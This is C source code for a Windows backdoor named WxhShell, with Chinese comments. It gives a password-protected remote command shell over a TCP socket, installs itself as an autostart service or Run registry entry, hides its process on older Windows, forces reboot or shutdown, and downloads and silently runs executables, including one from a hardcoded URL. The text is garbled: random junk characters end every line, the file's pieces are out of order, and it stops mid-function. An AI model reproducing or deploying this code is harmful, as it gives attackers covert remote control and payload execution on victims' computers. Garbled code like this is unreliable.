    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xm{]|~^JG  
    else { 2tq2   
    closesocket(wsh); uQ5h5Cfz  
    ExitThread(0); -F~DOG%  
    } d. wGO]"  
    break; Tc6cBe,  
    } 2I-d.{  
  // 获取shell Z+El(f x  
  case 's': { h<G4tjtk  
    CmdShell(wsh); i.Rl&t  
    closesocket(wsh); .11l(M  
    ExitThread(0); :jiuu@<  
    break; qVn<c,8#  
  } nje7?Vz  
  // 退出 ENTcTrTn  
  case 'x': {  ,&hv x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a: "1LnvR  
    CloseIt(wsh); }iUK`e  
    break; J/je/PC  
    } &h334N|4{  
  // 离开 h Qn?qJy%W  
  case 'q': { <~ smBd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p;+O/'/j  
    closesocket(wsh); "\b>JV5  
    WSACleanup(); RQ,#TbAe  
    exit(1); D\Ak-$kJ^  
    break; QL/KY G  
        } A[Mke  
  } ~:a1ELqVw  
  } z#tIa  
iq; | i!  
  // 提示信息 75# 8P?i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g&$=Y7G  
} 0JlNUO5Nt  
  } 3(BL  
X0.H(p#s  
  return; /Q1*Vh4  
} '}Fe&%  
yfG;OnkZ  
// shell模块句柄 46:<[0Psl/  
int CmdShell(SOCKET sock) u H[WlZ4  
{ aCG rS{  
STARTUPINFO si; 0?7yM:!l  
ZeroMemory(&si,sizeof(si)); PIri|ZS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C >*z^6Gz  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `OfhzOp  
PROCESS_INFORMATION ProcessInfo; NL9.J @"b  
char cmdline[]="cmd"; \o>-L\`O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C]ss'  
  return 0; gu k,GF9p]  
} cgb>Naa<  
UleT9 [M  
// 自身启动模式 $BwWQ?lp  
int StartFromService(void) hi8q?4jE  
{ ;+hh|NiQ  
typedef struct %SmOP sz  
{ =g#PP@X]D!  
  DWORD ExitStatus; hG1$YE  
  DWORD PebBaseAddress; KdEvu?  
  DWORD AffinityMask; o*KAS@&  
  DWORD BasePriority; !M~:#k  
  ULONG UniqueProcessId; a~_ 9BM41T  
  ULONG InheritedFromUniqueProcessId; 8+'}`  
}   PROCESS_BASIC_INFORMATION; ;(NTzBq!1  
Z0<Vss  
PROCNTQSIP NtQueryInformationProcess; ,&o9\|ih7]  
2/?Zp=|j\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uN%Cc12  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K"!rj.Da  
I-#!mFl  
  HANDLE             hProcess; G@7^M}  
  PROCESS_BASIC_INFORMATION pbi; mY 1l2  
TNu% _ 34  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EavBUX$O  
  if(NULL == hInst ) return 0; B7\4^6Tx  
@yTu/U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZdW+=;/#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /$; Z ~^P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o-<i+To%  
yhH2b:nY(9  
  if (!NtQueryInformationProcess) return 0; uX7L1~s-  
c~T {;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :w^:Z$-hf  
  if(!hProcess) return 0; :|j[{;asY  
~?/7: S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DI0& _,  
aCU[9Xr?  
  CloseHandle(hProcess); +Y?Tri  
-h8mJ D%Oi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A;U c&G  
if(hProcess==NULL) return 0; 0AnL]`"t.3  
?1\5X<|,  
HMODULE hMod; k5RzW4zq;  
char procName[255]; SzLlJUVX  
unsigned long cbNeeded; HYl+xH'.j  
%pZT3dcK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q 8]X  
i;HXz`vT7  
  CloseHandle(hProcess); WyV4p  
r9f- C  
if(strstr(procName,"services")) return 1; // 以服务启动 \9+,ynJH8z  
dX?j /M-  
  return 0; // 注册表启动 YdI6 |o@vc  
} HS=w9:,  
29Uqdo  
// 主模块 gc4o |x  
int StartWxhshell(LPSTR lpCmdLine) s.z)l$  
{ B;bP~e>W  
  SOCKET wsl; 'M%iS4b{IM  
BOOL val=TRUE; }cz58%  
  int port=0; icG 9x  
  struct sockaddr_in door; P}6#s'07~  
Dk\%,[4(  
  if(wscfg.ws_autoins) Install(); IQBL;=.J.  
:lu!%p<$  
port=atoi(lpCmdLine); 4f j}d.?  
(CQ! &Z8  
if(port<=0) port=wscfg.ws_port; m]DP{-s4  
{JWixbA  
  WSADATA data; 3n2^;b/]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q}&'1J  
RrLiH>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b8a (.}8*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6Emn@Mn=  
  door.sin_family = AF_INET; uNf'Zeo  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Nr@,In|JS  
  door.sin_port = htons(port); CX#d  
!d##q)D f?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B~o3Z  
closesocket(wsl); ^ iu)vED  
return 1; 8z93ETv7`  
} 1=]#=)+  
>uCO=T,|  
  if(listen(wsl,2) == INVALID_SOCKET) { D u<P^CE  
closesocket(wsl); ~Dg:siw  
return 1; @.e4~qz\  
} 42 `Uq[5Y  
  Wxhshell(wsl); iu{y.}?  
  WSACleanup(); py$Gy-I~[  
GUQ3XF\  
return 0; ]`-o\,lq  
jzi%[c<G  
} *r>Y]VG;S  
;$eY#ypx  
// 以NT服务方式启动 bP:u`!p -i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q4:zr   
{ "4XjABJ4'  
DWORD   status = 0; ~U<j_j)z4.  
  DWORD   specificError = 0xfffffff; #cR5k@  
41R~.?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X>dQK4!R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2Jo|P A` 9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~,W|i  
  serviceStatus.dwWin32ExitCode     = 0; 6@Q; LV+  
  serviceStatus.dwServiceSpecificExitCode = 0; $zz4A~   
  serviceStatus.dwCheckPoint       = 0; `DSDuJw%  
  serviceStatus.dwWaitHint       = 0; .==c~>N  
`~axOp9N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @>`N%wH'  
  if (hServiceStatusHandle==0) return; , -])[u  
OfLj 4H 6Q  
status = GetLastError(); 6T"5,Q</h  
  if (status!=NO_ERROR) FkaQVT  
{ )m-(-I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z){fie4WM  
    serviceStatus.dwCheckPoint       = 0; iLdUus!  
    serviceStatus.dwWaitHint       = 0; x+sSmW  
    serviceStatus.dwWin32ExitCode     = status; =j_4!^  
    serviceStatus.dwServiceSpecificExitCode = specificError; !rx5i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); nJH'^rO!C  
    return; ;&b=>kPlZ  
  } m%U=:u7#M  
KYhL}C+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o &b\bK%E  
  serviceStatus.dwCheckPoint       = 0; '<"%>-^Gn  
  serviceStatus.dwWaitHint       = 0; i [/1AI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |}l/6WHB  
} SOD3MsAK  
1\TkI=N3  
// 处理NT服务事件,比如:启动、停止 B \V ;{:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c3fd6Je5  
{ RaiYq#X/  
switch(fdwControl) {s@&3i?ZiC  
{  LWo)x  
case SERVICE_CONTROL_STOP: JpQV7}$  
  serviceStatus.dwWin32ExitCode = 0; lfoPFJ Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hzV%QDUpe  
  serviceStatus.dwCheckPoint   = 0; Mt4`~`6  
  serviceStatus.dwWaitHint     = 0; wC1) \ld  
  { }Ej^"T:H_;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @ /e{-Q  
  } 8v)Z/R-  
  return; kaZcYuT.9  
case SERVICE_CONTROL_PAUSE: yr zyus  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Dmtsu2o  
  break; %)}_OXWf:  
case SERVICE_CONTROL_CONTINUE: Swv =gu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Or1ikI"  
  break; <t*3w  
case SERVICE_CONTROL_INTERROGATE: yWYsN  
  break; 5N>L|J2  
}; 5t-(MY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c*8k _o,  
} ?f6Fj  
P+p:Ed 80  
// 标准应用程序主函数 ;S2/n$Ju_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CfLPs)\ACm  
{ q_6 <}2m,U  
3k+46Wp  
// 获取操作系统版本 Mc|UD*Z  
OsIsNt=GetOsVer(); LZPLz@=&]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c5Hm94, p  
c"'JMq  
  // 从命令行安装 K?wo AuY  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4m9]d)  
ds+0y;vc  
  // 下载执行文件 =sXk,I;  
if(wscfg.ws_downexe) { e=6C0fr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #w[Ie+  
  WinExec(wscfg.ws_filenam,SW_HIDE); \T!tUd  
} S#D6mg$Z,  
g<4@5OQKu  
if(!OsIsNt) { %?`$#*f\%  
// 如果时win9x,隐藏进程并且设置为注册表启动 9H%L;C5<  
HideProc(); )J|~'{z:  
StartWxhshell(lpCmdLine); J16(d+  
} @}e5T/{X}T  
else 5,V3_p:)VI  
  if(StartFromService()) tjy@sO/Q  
  // 以服务方式启动 &C E){jC  
  StartServiceCtrlDispatcher(DispatchTable); 1`&"U[{  
else %xwdH4 _  
  // 普通方式启动 PwxRu  
  StartWxhshell(lpCmdLine); "IdN*K  
6c#1Do(W+  
return 0; gM#]o QOGE  
} X pf:I  
[%6"UH r  
y}lqF8s  
7gbu7"Qc  
=========================================== Pu|3_3^  
>^KO5N-:4  
r7:4| 6E  
@X>Oj.  
jUX0sRDk  
czp}-{4X  
" |rk4,NG.  
-6>T0-  
#include <stdio.h> r`CsR0[  
#include <string.h> OM7EmMa;  
#include <windows.h> u"1Zv!  
#include <winsock2.h> )KD*G;<O]L  
#include <winsvc.h> 39,7N2uY  
#include <urlmon.h> |`6*~ciUV  
H(j983  
#pragma comment (lib, "Ws2_32.lib") 0W >,RR)  
#pragma comment (lib, "urlmon.lib") DlbNW& V  
w57D qG>  
#define MAX_USER   100 // 最大客户端连接数 L(qQ,1VY  
#define BUF_SOCK   200 // sock buffer r5aOQ  
#define KEY_BUFF   255 // 输入 buffer *U^7MU0  
3,-xk!W$L  
#define REBOOT     0   // 重启 r(cd?sL96R  
#define SHUTDOWN   1   // 关机 n[`FoY  
/q>1X!Z  
#define DEF_PORT   5000 // 监听端口 UgZuEfEGve  
N(^ q%eHp  
#define REG_LEN     16   // 注册表键长度 TW}nO|qw  
#define SVC_LEN     80   // NT服务名长度 e47N9&4  
3rw<#t;v  
// 从dll定义API :HQQ8uQfb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x.~AvJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }0~4Z)?e3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x\R 8W8M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .:=G=v=1  
.+ g8zbD4  
// wxhshell配置信息 mXXU{IwUe  
struct WSCFG { g O ;oM?|  
  int ws_port;         // 监听端口 LL^WeD_Y  
  char ws_passstr[REG_LEN]; // 口令 .a`(?pPr,  
  int ws_autoins;       // 安装标记, 1=yes 0=no j UCrj'  
  char ws_regname[REG_LEN]; // 注册表键名 u' +;/8  
  char ws_svcname[REG_LEN]; // 服务名 6#/v:;bF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f+ Ht  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 E;AOCbV*$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 JQ)w/@Vu=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xF8^#J6>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0'0GAh2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I7q}<"`  
tjTnFP/=  
}; pw5uH  
%ryYa  
// default Wxhshell configuration +:?"P<'  
struct WSCFG wscfg={DEF_PORT, }grel5lq  
    "xuhuanlingzhe", y)e8pPDG  
    1, ]3iQpL  
    "Wxhshell", i917d@r(<  
    "Wxhshell", G :JQ_w  
            "WxhShell Service", DqGm  
    "Wrsky Windows CmdShell Service", Ga1(T$ |H  
    "Please Input Your Password: ", lo:{T _ay  
  1, z->[:)c  
  "http://www.wrsky.com/wxhshell.exe", ruQ1Cph  
  "Wxhshell.exe" qz<>9n@o  
    }; OkaN VTB  
Gm2q`ki  
// 消息定义模块 w[X/|O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qmx4hs8sh  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s/0S]P]}f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DYFfq  
char *msg_ws_ext="\n\rExit."; sV`!4 u7%}  
char *msg_ws_end="\n\rQuit."; S)$iHBx{  
char *msg_ws_boot="\n\rReboot..."; E\Et,l#|LY  
char *msg_ws_poff="\n\rShutdown..."; oi:!YVc  
char *msg_ws_down="\n\rSave to "; 6w Y6* R  
)eaEc9o>  
char *msg_ws_err="\n\rErr!"; :sL?jGk\  
char *msg_ws_ok="\n\rOK!"; 4V9S~^v|  
[Y_CRxa\u  
char ExeFile[MAX_PATH]; hiQ #<  
int nUser = 0; L6=`x a,  
HANDLE handles[MAX_USER]; ydm2'aV  
int OsIsNt; qPG>0 O  
kMP3PS  
SERVICE_STATUS       serviceStatus; Mo~zq.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }5qpiS"V9  
nWz7$O  
// 函数声明 6z keWR  
int Install(void); |`,AA a  
int Uninstall(void); -.=:@H}r  
int DownloadFile(char *sURL, SOCKET wsh); E6zSMl5b  
int Boot(int flag); ?6T\uzL +%  
void HideProc(void); M\rZr3  
int GetOsVer(void); kt;uB X3  
int Wxhshell(SOCKET wsl); }a?(}{z-  
void TalkWithClient(void *cs); X&14;lu%p  
int CmdShell(SOCKET sock); y}bliN7;1e  
int StartFromService(void); O~ ]3.b  
int StartWxhshell(LPSTR lpCmdLine); y8arFG  
y1c2(K>tu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +l)[A{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3yw`%$d5  
{|D7H=f  
// 数据结构和表定义 8%Eau wAx  
SERVICE_TABLE_ENTRY DispatchTable[] = ]u<8j r  
{ VY|'7in"M  
{wscfg.ws_svcname, NTServiceMain}, cWS 0B $$  
{NULL, NULL} `+0K~k|DC  
}; EYXHxo  
Yw_^]:~  
// 自我安装 mo()l8  
int Install(void) /fDXO;tN  
{ f~?4  
  char svExeFile[MAX_PATH]; KqhE=2,  
  HKEY key; o<8SiVC2  
  strcpy(svExeFile,ExeFile); 'M!*Ge  
3EO:Uk5<   
// 如果是win9x系统,修改注册表设为自启动 jWNF3\  
if(!OsIsNt) { cl1>S3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~A$y-Dt'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *pj^d><  
  RegCloseKey(key); ` ),ACkU>U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wT@{=s,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w e}G%09L  
  RegCloseKey(key); Mp,aQ0bNS  
  return 0; -?vII~a9y  
    } nv'YtmR  
  } HyGu3  
} VbfTdRD-  
else { wzf%~ats  
\9N )71n(  
// 如果是NT以上系统,安装为系统服务 kxWcWl8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /ht-]Js$G  
if (schSCManager!=0) ESi'3mbeC  
{ b`& :`  
  SC_HANDLE schService = CreateService F~;UD<<"H  
  ( /v8yE9N_  
  schSCManager, K.r "KxCm|  
  wscfg.ws_svcname, XpIl-o&re  
  wscfg.ws_svcdisp, #M@Ki1  
  SERVICE_ALL_ACCESS, G7SmlFn?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 05s{Z.aK  
  SERVICE_AUTO_START, P&sYS<9q  
  SERVICE_ERROR_NORMAL, hOj(*7__  
  svExeFile, u#)ARCx,w  
  NULL, t~_bquGk  
  NULL, IutU ~%wv  
  NULL,  1 .Nfl@]  
  NULL, =O?? W8u  
  NULL X|4_}b> x  
  ); ~%?LFR'  
  if (schService!=0) 'Rq2x-72}  
  { m5 l,Lxj  
  CloseServiceHandle(schService); U#g ,XJ  
  CloseServiceHandle(schSCManager); ,t@B]ll  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cxz\1Vphd  
  strcat(svExeFile,wscfg.ws_svcname);  RxO !h8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [m0G;%KR/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]=]fIKd  
  RegCloseKey(key); U0@Qc}y  
  return 0; )MeeF-Ad6  
    } O#n=mJ  
  } dM)x|b3z  
  CloseServiceHandle(schSCManager); ;5&=I|xqe  
} S+7u,%n/  
} Z3O_K  
Lq]t6o ]  
return 1; :CGh$d] +  
} Ci$?Hm9n  
bsv!z\}  
// 自我卸载 ]S7>=S  
int Uninstall(void) NudY9 ~   
{ yn|U<Hxl~H  
  HKEY key; @M!nAQ8hY  
@&f~#Xe  
if(!OsIsNt) { E-v^eMWX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wo5fGQJ  
  RegDeleteValue(key,wscfg.ws_regname); *('Vyd!n  
  RegCloseKey(key); P2g}G4qf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CZDWEM}   
  RegDeleteValue(key,wscfg.ws_regname); 1~y\MD*-j  
  RegCloseKey(key); ")i_{C,b^  
  return 0; khVfc  
  } ]PQ6 em  
} o}e]W,  
} {]Ec:6  
else { guk{3<d:Jy  
TpRI+*\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MQMc=Z4d  
if (schSCManager!=0) ,A[NcFdCB  
{ W.nr&yiQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l#&\,T  
  if (schService!=0) v~:'t\n  
  { j2s{rQQ  
  if(DeleteService(schService)!=0) { eOZ"kw"uHu  
  CloseServiceHandle(schService);  _j2q  
  CloseServiceHandle(schSCManager); JYrOE "!h  
  return 0; K;*B$2Z#k  
  } [7Liken  
  CloseServiceHandle(schService); go?}M]c%7  
  } NeR1}W  
  CloseServiceHandle(schSCManager); N) '|l0x0  
} b8&z~'ieR  
} ?/}-&A"  
_rz7)%Y'#$  
return 1; Odr<fvV,>  
} 8+Abw)]s  
46D _K  
// 从指定url下载文件 '}9 %12\^h  
int DownloadFile(char *sURL, SOCKET wsh) Q .g44>  
{ *T2kxN,Ik  
  HRESULT hr; 09J,!NN  
char seps[]= "/"; e4<St`K  
char *token; +2,EK   
char *file; t#2szr+  
char myURL[MAX_PATH]; \kP1Jr  
char myFILE[MAX_PATH]; G;AJBs>Y}  
;N^4R$Q.  
strcpy(myURL,sURL); .#LvvAeh  
  token=strtok(myURL,seps); thSXri?kl  
  while(token!=NULL) YP73  
  { Ww =ksggpB  
    file=token; ZY*_x)h+#7  
  token=strtok(NULL,seps); (97&mhs3  
  } tZygTvK/S  
^K0oJg.E  
GetCurrentDirectory(MAX_PATH,myFILE); OjsMT]  
strcat(myFILE, "\\"); WO=P~F<  
strcat(myFILE, file); nZ4@g@e2  
  send(wsh,myFILE,strlen(myFILE),0); O'S9y  
send(wsh,"...",3,0); LF ;gdF%@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Nt~G  {m  
  if(hr==S_OK) >6:UWvV1  
return 0; XGAR8=tic  
else uQ3W =  
return 1; Ygc.0VKMR  
(r/))I9^  
} x,Z:12H0  
zO((FQ  
// 系统电源模块 ZJV;&[$[  
int Boot(int flag) <G#Q f|&  
{ G \|P3j  
  HANDLE hToken; &H/3@A3  
  TOKEN_PRIVILEGES tkp; Q+p9^_r  
tS[%C)  
  if(OsIsNt) { E&0]s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); naM=oSB(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D<lVWP  
    tkp.PrivilegeCount = 1; :oytJhxU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =xr2-K)e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /;WFRp.  
if(flag==REBOOT) { $?y\3GX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uo3o[ H&#  
  return 0; V Ku|=m2vB  
} USV;j%U4*  
else { a 1~@m[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b$Q#Fv&P  
  return 0; __i))2  
} Q #p gl  
  } }@vf=jm>  
  else { NW~`oc)NS  
if(flag==REBOOT) { .e|\Bf0P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UQq Qim  
  return 0; 6OZ n7:)Y  
} S+u@ Q}  
else { p*|Ct  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8r.3t\o)X  
  return 0; 9G)fJr  
} xpWY4Q  
} &G_XgQsg{  
e|4U2\&3y  
return 1; G!U `8R  
} M<xF4L3]  
L DdgI  
// win9x进程隐藏模块 ?zK\!r{  
void HideProc(void) }VqCyJu&{  
{ `86})xz{  
wj\kx\+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \;0UP+  
  if ( hKernel != NULL ) }T"&4Rvs2R  
  { v\-7sgZR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KA elq*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VujIKc#4  
    FreeLibrary(hKernel); RC^k#+  
  } yK w.69.  
vgN%vw pL  
return; ]QKKt vN  
} ^`fqK4<  
~\u?Nf~L  
// 获取操作系统版本 s$xm  
int GetOsVer(void) Ex5 LhRe>=  
{ CzI/Z+\  
  OSVERSIONINFO winfo; sK7b4gmK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,R=)^Gh{  
  GetVersionEx(&winfo); >Dq&[9,8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JxQGL{) >  
  return 1; gZ6tb p,X  
  else zRgl`zREr  
  return 0; Z(BZG O<  
} aA-s{af  
AX6l=jFZx  
// 客户端句柄模块 BCt>P?,UO  
int Wxhshell(SOCKET wsl) -fDW>]_  
{ <,Fj}T-  
  SOCKET wsh; !gj_9"<  
  struct sockaddr_in client; $`_xP1bUT  
  DWORD myID;  #{zF~/Qq  
B+[L/C}=;  
  while(nUser<MAX_USER) v8\pOI}c  
{ uOb}R   
  int nSize=sizeof(client); Z + )<FX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -Hg,:re2  
  if(wsh==INVALID_SOCKET) return 1; &+df@U6i  
m,r>E%;Cj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q;=3vUN  
if(handles[nUser]==0) x n}HB  
  closesocket(wsh); 6eW9+5oL  
else #X*=oG  
  nUser++; Rzxkz  
  } @Wd1+Yky  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =HHb ]JE  
}XfRKGQw  
  return 0; Fr1OzS^&(  
} gk4DoOj#P  
6bUcrw/# p  
// 关闭 socket :CG;:( |  
void CloseIt(SOCKET wsh) 43N=O FU  
{ kV$VKag*A  
closesocket(wsh); DhT8Kh{  
nUser--; #<yKG\X?  
ExitThread(0); jNW/Biy4u  
} TlJ'pG 4^  
+kT o$_Wkz  
// 客户端请求句柄 7QHrb'c  
void TalkWithClient(void *cs) o.])5i_HV  
{ 2Y%E.){  
J pKCux  
  SOCKET wsh=(SOCKET)cs; L[lS >4e N  
  char pwd[SVC_LEN]; ?]0bR]}y  
  char cmd[KEY_BUFF]; B2,JfKk/  
char chr[1]; b#:!b  
int i,j; 9tIE+RD  
W+#Zmvo  
  while (nUser < MAX_USER) { $rH}2  
lfte   
if(wscfg.ws_passstr) { _tfi6UQ&lY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TFtD>q X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R^Y _i  
  //ZeroMemory(pwd,KEY_BUFF); |4F'Zu}g>  
      i=0; ,zh4oX`>  
  while(i<SVC_LEN) { 3| 0OW Jk  
@vvGhJ1m`  
  // 设置超时 89J7hnJC  
  fd_set FdRead;  o*xft6U  
  struct timeval TimeOut; -\M;bQV[C  
  FD_ZERO(&FdRead); idNg&'   
  FD_SET(wsh,&FdRead); Ui }%T]  
  TimeOut.tv_sec=8; R9InUX"k  
  TimeOut.tv_usec=0; hvF>Tu]^r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dA$qzQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K"VRHIhfg  
|%fM*F^7/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vn6]h|vm  
  pwd=chr[0]; !p(N DQm  
  if(chr[0]==0xd || chr[0]==0xa) { Ky)*6QOw  
  pwd=0; ^zR*s |1Q  
  break; {Zf 9} !qF  
  } _yc &'Wq  
  i++; ? 9;r|G  
    } A(wuRXnVWK  
!k8j8v&  
  // 如果是非法用户,关闭 socket M[?0 ^ FBx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z1oUAzpj4  
}  +D|E8sz8  
-h{|u{t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >:f&@vwm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Uw->5   
{'[S.r`  
while(1) { fk(h*L|sI  
YFs!,fw'  
  ZeroMemory(cmd,KEY_BUFF); {S5j;  
,\D* =5  
      // 自动支持客户端 telnet标准   IeGVLC  
  j=0; 2g%p9-MO]I  
  while(j<KEY_BUFF) { 3Hkb)Wu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _r vO#h  
  cmd[j]=chr[0]; kTm>`.kKJ=  
  if(chr[0]==0xa || chr[0]==0xd) { }Bn`0;]  
  cmd[j]=0; GqD_6cdh  
  break; >+2gAO!  
  } OLyl.#J  
  j++; yn.f?[G2  
    } <{1=4PA  
Pe?b# G  
  // 下载文件 1ika'  
  if(strstr(cmd,"http://")) { 0-Vx!(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !Bn,f2  
  if(DownloadFile(cmd,wsh)) y/!jC]!+c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); gt Rs||  
  else z#\YA]1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]xN)>A2  
  } e2L4E8ST<  
  else { \Culf'iX  
{[[/*1r|  
    switch(cmd[0]) { &``nYI g/  
  T#-U\C~o  
  // 帮助 E<L6/rG  
